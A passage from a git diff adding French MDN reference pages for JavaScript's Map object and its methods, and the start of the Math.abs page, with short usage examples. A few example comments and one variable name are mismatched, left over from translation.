+ <li>Il est possible d'obtenir facilement la taille d'une <code>Map</code> avec <code>size</code>. En revanche, pour un <code>Object</code> il faudra compter « manuellement ».</li>
+ <li>Un objet <code>Map</code> est un <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">itérable</a> et on peut donc le parcourir directement. En revanche, itérer sur un <code>Object</code> nécessite de récupérer les clés de l'objet pour ensuite les parcourir.</li>
+ <li>Un objet <code>Map</code> permettra d'obtenir de meilleures performances si on ajoute et supprime des éléments fréquemment.</li>
+</ul>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>La valeur de la propriété <code>length</code> est 0.<br>
+ Attention, pour compter le nombre d'élément contenu dans une <code>Map</code>, on utilisera plutôt {{jsxref("Map.prototype.size")}}.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>La fonction constructeur utilisée pour créer des objets dérivées.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>Représente le prototype du constructeur <code>Map</code>. Permet l'addition de propriétés à tous les objets <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Instances_de_Map">Instances de <code>Map</code></h2>
+
+<p>Toutes les instances de <code>Map</code> héritent de {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Propriétés')}}</p>
+
+<h3 id="Méthodes">Méthodes</h3>
+
+<p>{{page('fr/docs/Web/JavaScript/Reference/Objets_globaux/Map/prototype','Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_un_objet_Map">Utiliser un objet <code>Map</code></h3>
+
+<pre class="brush: js notranslate">const myMap = new Map();
+
+const objectKey = {},
+    functionKey = function () {},
+    stringKey = "une chaîne";
+
+// définir les valeurs
+myMap.set(stringKey, "valeur associée à 'une chaîne'");
+myMap.set(objectKey, "valeur associée à objectKey");
+myMap.set(functionKey, "valeur associée à functionKey");
+
+myMap.size; // 3
+
+// récupérer les valeurs
+myMap.get(stringKey);     // "valeur associée à 'une chaîne'"
+myMap.get(objectKey);      // "valeur associée à objetClé"
+myMap.get(functionKey);   // "valeur associée à fonctionClé"
+
+myMap.get("une chaîne");  // "valeur associée à 'une chaîne'"
+                          // car chaineClé === 'une chaîne'
+myMap.get({});            // indéfini car objetClé !== {}
+myMap.get(function() {}); // indéfini car fonctionClé !== function () {}
+</pre>
+
+<h3 id="Utiliser_NaN_comme_clé">Utiliser <code>NaN</code> comme clé</h3>
+
+<p>{{jsxref("NaN")}} peut être utilisé comme une clé. Bien que <code>NaN</code> ne soit pas strictement égal à lui-même (<code>NaN !== NaN</code> est vérifié), on peut bâtir l'exemple suivant car on ne peut pas distinguer deux valeurs <code>NaN </code>:</p>
+
+<pre class="brush: js notranslate">const myMap = new Map();
+myMap.set(NaN, "not a number");
+
+myMap.get(NaN); // "not a number"
+
+const otherNaN = Number("toto");
+myMap.get(otherNaN); // "not a number"
+</pre>
+
+<h3 id="Parcourir_des_objets_Maps_avec_for..of">Parcourir des objets <code>Maps</code> avec <code>for..of</code></h3>
+
+<p>Il est possible de parcourir les objets <code>Map </code>grâce à des boucles <code>for..of</code> :</p>
+
+<pre class="brush: js notranslate">const myMap = new Map();
+myMap.set(0, "zéro");
+myMap.set(1, "un");
+for (const [key, value] of myMap) {
+  console.log(`${key} = ${value}`);
+}
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+
+for (const key of myMap.keys()) {
+  console.log(key);
+}
+// On aura 2 lignes : la première avec "0"
+// et la seconde avec "1"
+
+for (const value of myMap.values()) {
+  console.log(valeur);
+}
+// On aura 2 lignes : la première avec "zéro"
+// et la seconde avec "un"
+
+for (const [key, value] of myMap.entries()) {
+  console.log(`${key} = ${value}`);
+}
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+
+myMap.forEach(function(value, key) {
+  console.log(`${key} = ${value}`);
+});
+// On aura 2 lignes : la première avec "0 = zéro"
+// la seconde avec "1 = un"
+</pre>
+
+<h3 id="Relation_avec_les_objets_Array">Relation avec les objets <code>Array</code></h3>
+
+<pre class="brush: js notranslate">const keyValuePair = [["clé1", "valeur1"], ["clé2", "valeur2"]];
+
+// On utilise le constructeur Map
+// pour transformer un tableau de clés/valeurs
+// en un objet map
+const myMap = new Map(keyValuePair);
+
+myMap.get("clé1"); // renvoie "valeur1"
+
+// On utilise la fonction Array.from pour transformer
+// une map en un tableau de clés/valeurs
+console.log(Array.from(myMap)); // affichera la même chose que tableauCléValeur
+
+// On peut aussi l'utiliser pour n'extraire que les clés
+// ou les valeurs et créer le tableau associé
+console.log(Array.from(myMap.keys())); // affichera ["clé1", "clé2"]</pre>
+
+<h3 id="Cloner_et_fusionner_des_objets_Map">Cloner et fusionner des objets <code>Map</code></h3>
+
+<p>Il est possible de cloner des <code>Map</code> comme on clone des tableaux :</p>
+
+<pre class="brush: js notranslate">const original = new Map([
+  [1, 'un']
+]);
+
+const clone = new Map(original);
+
+console.log(clone.get(1)); // un
+console.log(original === clone); // false. Utile pour une comparaison superficielle</pre>
+
+<p>Attention, la donnée contenue dans la <code>Map</code> n'est pas clonée.</p>
+
+<p>Il est également possible de fusionner deux <code>Map</code> en conservant le critère d'unicité sur les clés :</p>
+
+<pre class="brush: js notranslate">const first = new Map([
+  [1, 'un'],
+  [2, 'deux'],
+  [3, 'trois'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// On fusionne les deux maps. C'est la "dernière" version
+// de la clé qui l'emporte.
+// L'opérateur de décomposition nous permet principalement ici
+// de convertir une map en un tableau
+const fusion = new Map([...first, ...second]);
+
+console.log(fusion.get(1)); // uno
+console.log(fusion.get(2)); // dos
+console.log(fusion.get(3)); // trois</pre>
+
+<p>Il est également possible de fusionner des objets <code>Map</code> avec des objets <code>Array</code> :</p>
+
+<pre class="brush: js notranslate">const first = new Map([
+  [1, 'un'],
+  [2, 'deux'],
+  [3, 'trois'],
+]);
+
+const second = new Map([
+  [1, 'uno'],
+  [2, 'dos']
+]);
+
+// On peut fusionner des Maps avec un tableau
+// Là encore c'est le dernier exemplaire de la clé qui l'emporte
+const fusion = new Map([...first, ...second, [1, 'eins']]);
+
+console.log(fusion.get(1)); // eins
+console.log(fusion.get(2)); // dos
+console.log(fusion.get(3)); // trois</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Le bug sur Map et Set pour Mozilla</a></li>
+ <li><a class="external" href="https://web.archive.org/web/20170105121945/http://wiki.ecmascript.org:80/doku.php?id=harmony:simple_maps_and_sets">La proposition ECMAScript Harmony</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html b/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html
new file mode 100644
index 0000000000..4c9eaef896
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/keys/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.keys()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/keys
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>keys()</strong></code> renvoie un objet <code><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Iterator</a></code> qui contient les clés de chaque élément de l'objet <code>Map</code>, dans leur ordre d'insertion.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.keys()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code> {{jsxref("Map")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_keys()">Utiliser <code>keys()</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "bidule");
+
+var mapIter = maMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.keys")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html
new file mode 100644
index 0000000000..f268e6e21d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/prototype/index.html
@@ -0,0 +1,88 @@
+---
+title: Map.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/Map/prototype
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <strong><code>Map.prototype</code></strong> représente le prototype du constructeur {{jsxref("Map")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Les instances de {{jsxref("Map")}} héritent de {{jsxref("Map.prototype")}}. Le prototype du constructeur permet d'ajouter des propriétés ou des méthodes à toutes les instances de <code>Map</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>Map.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera la fonction {{jsxref("Map")}}.</dd>
+ <dt>{{jsxref("Map.prototype.size")}}</dt>
+ <dd>Renvoie le nombre de paires de clé-valeur contenues dans l'objet <code>Map</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Map.prototype.clear()")}}</dt>
+ <dd>Supprime toutes les paires de clé-valeur de l'objet <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.delete", "Map.prototype.delete(clé)")}}</dt>
+ <dd>Renvoie <code>true</code> si un élément contenu dans l'objet <code>Map</code> existait avec cette clé et a été retiré. Si aucun élément n'existe dans l'objet <code>Map</code> avec cette clé, c'est <code>false</code> qui est renvoyé. <code>Map.prototype.has(clé)</code> renverra <code>false</code> après l'exécution de cette méthode.</dd>
+ <dt>{{jsxref("Map.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">Iterator</a> qui contient un tableau de<strong> <code>[clé, valeur]</code></strong> pour chacun des éléments de l'objet <code>Map</code>, dans leur ordre d'insertion.</dd>
+ <dt>{{jsxref("Map.forEach", "Map.prototype.forEach(callbackFn[, thisArg])")}}</dt>
+ <dd>Appelle la fonction <code>callbackFn</code> pour chaque paire clé-valeur de l'objet <code>Map</code> dans leur ordre d'insertion. Si un paramètre <code>thisArg</code> est fourni, il sera utilisé comme valeur pour <code>this</code> pour chaque appel de la fonction de retour (callback).</dd>
+ <dt>{{jsxref("Map.get", "Map.prototype.get(clé)")}}</dt>
+ <dd>Renvoie la valeur associée à la clé et <code>undefined</code> s'il n'y en a pas.</dd>
+ <dt>{{jsxref("Map.has", "Map.prototype.has(clé)")}}</dt>
+ <dd>Renvoie un booléen indiquant si une valeur associée à cette clé a été trouvée dans l'objet <code>Map</code>.</dd>
+ <dt>{{jsxref("Map.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> contenant les <strong>clés</strong> de chaque élément de l'objet <code>Map</code> dans leur ordre d'insertion.</dd>
+ <dt>{{jsxref("Map.set", "Map.prototype.set(clé, valeur)")}}</dt>
+ <dd>Définit la valeur d'un clé pour l'objet <code>Map</code>. Renvoie <code>undefined</code>.</dd>
+ <dt>{{jsxref("Map.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Iterator</code> contenant les <strong>valeurs</strong> de chaque élément de l'objet <code>Map</code> dans leur ordre d'insertion.</dd>
+ <dt>{{jsxref("Map.@@iterator", "Map.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie une nouvel objet <code>Iterator</code> qui contient <strong>un tableau de <code>[clé, valeur]</code></strong> pour chaque élément de l'objet <code>Map</code> dans leur ordre d'insertion.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype', 'Map.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Set.prototype")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/set/index.html b/files/fr/web/javascript/reference/objets_globaux/map/set/index.html
new file mode 100644
index 0000000000..6c74f2d342
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/set/index.html
@@ -0,0 +1,96 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/set
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>set()</strong></code> ajoute un nouvel élément avec une <code>clé</code> et une <code>valeur</code> données à un objet <code>Map</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.set(clé, valeur);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>clé</code></dt>
+ <dd>Ce paramètre représente la clé de l'élément à ajouter à l'objet <code>Map</code>.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>Ce paramètre représente la valeur de l'élément à ajouter à l'objet <code>Map</code>.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'objet <code>Map</code> courant (auquel l'élément a été ajouté).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_la_méthode_set()">Utiliser la méthode <code>set()</code></h3>
+
+<pre class="brush: js">var maMap = new Map();
+
+// On ajoute de nouveaux éléments à l'objet map
+maMap.set("truc", "toto");
+maMap.set(1, "bidule");
+
+// On met à jour un élément
+maMap.set("truc", "fuuu");
+</pre>
+
+<h3 id="Utiliser_la_méthode_set()_avec_un_enchaînement">Utiliser la méthode <code>set()</code> avec un enchaînement</h3>
+
+<p>La méthode <code>set()</code> renvoie le même objet <code>Map</code> et on peut donc la « chaîner » pour des opérations successives :</p>
+
+<pre class="brush: js">// On ajoute de nouveaux éléments
+// en enchaînant les appels à set()
+maMap.set('truc', 'toto')
+     .set(1, 'tototruc')
+     .set(2, 'bidule');</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.set")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/size/index.html b/files/fr/web/javascript/reference/objets_globaux/map/size/index.html
new file mode 100644
index 0000000000..28ef0921c4
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/size/index.html
@@ -0,0 +1,68 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Reference/Objets_globaux/Map/size
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Map
+  - Propriété
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p>L'accesseur <code><strong>size</strong></code> est une propriété renvoyant le nombre d'éléments d'un objet {{jsxref("Map")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La valeur de <code>size</code> est un entier représentant le nombre d'entrées d'un objet <code>Map</code>. Le mutateur correspond à cette propriété est {{jsxref("undefined")}}, on ne peut pas donc pas modifier cette propriété.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_size">Utiliser <code>size</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("a", "alpha");
+maMap.set("b", "beta");
+maMap.set("g", "gamma");
+
+maMap.size // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibliité_des_navigateurs">Compatibliité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/map/values/index.html b/files/fr/web/javascript/reference/objets_globaux/map/values/index.html
new file mode 100644
index 0000000000..6db3129d2e
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/map/values/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.values()
+slug: Web/JavaScript/Reference/Objets_globaux/Map/values
+tags:
+  - ECMAScript 2015
+  - Iterator
+  - JavaScript
+  - Map
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/values
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>values()</strong></code> renvoie un objet <code><a href="/fr/docs/Web/JavaScript/Guide/iterateurs_et_generateurs">Iterator</a></code> qui contient les valeurs de chacun des éléments contenu dans l'objet <code>Map</code> donné, dans leur ordre d'insertion.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>maMap</em>.values()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Iterator</code> {{jsxref("Map")}}.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_values()">Utiliser <code>values()</code></h3>
+
+<pre class="brush:js">var maMap = new Map();
+maMap.set("0", "toto");
+maMap.set(1, "truc");
+maMap.set({}, "licorne");
+
+var mapIter = maMap.values();
+
+console.log(mapIter.next().value); // "toto"
+console.log(mapIter.next().value); // "truc"
+console.log(mapIter.next().value); // "licorne"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Map.values")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html b/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html
new file mode 100644
index 0000000000..925364b1ca
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/abs/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/abs
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.abs()</strong></code> retourne la valeur absolue d'un nombre, c'est-à-dire</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>si</mtext><mspace width="1em"></mspace><mi>x</mi><mo>≥</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>si</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{si} \quad x \geq 0 \\ -x &amp; \text{si} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-abs.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.abs(<em>x</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_absolue">Valeur absolue</h3>
+
+<p>La valeur absolue du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>abs</code> est une méthode statique de l'objet <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.abs()</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.abs()">Utiliser <code>Math.abs()</code></h3>
+
+<p>Si la méthode est utilisée avec une chaîne de caractères non numérique, avec un tableau à plus d'un élément, sans paramètre ou avec {{jsxref("undefined")}}, la valeur retournée sera {{jsxref("NaN")}}. Si elle est utilisée avec {{jsxref("null")}}, la fonction renverra 0.</p>
+
+<pre class="brush:js">Math.abs('-1');     // 1
+Math.abs(-2);       // 2
+Math.abs(null);     // 0
+Math.abs('');       // 0
+Math.abs([]);       // 0
+Math.abs([2]);      // 2
+Math.abs([1,2]);    // NaN
+Math.abs({});       // NaN
+Math.abs("string"); // NaN
+Math.abs();         // NaN</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.1', 'Math.abs')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.abs', 'Math.abs')}}</td>
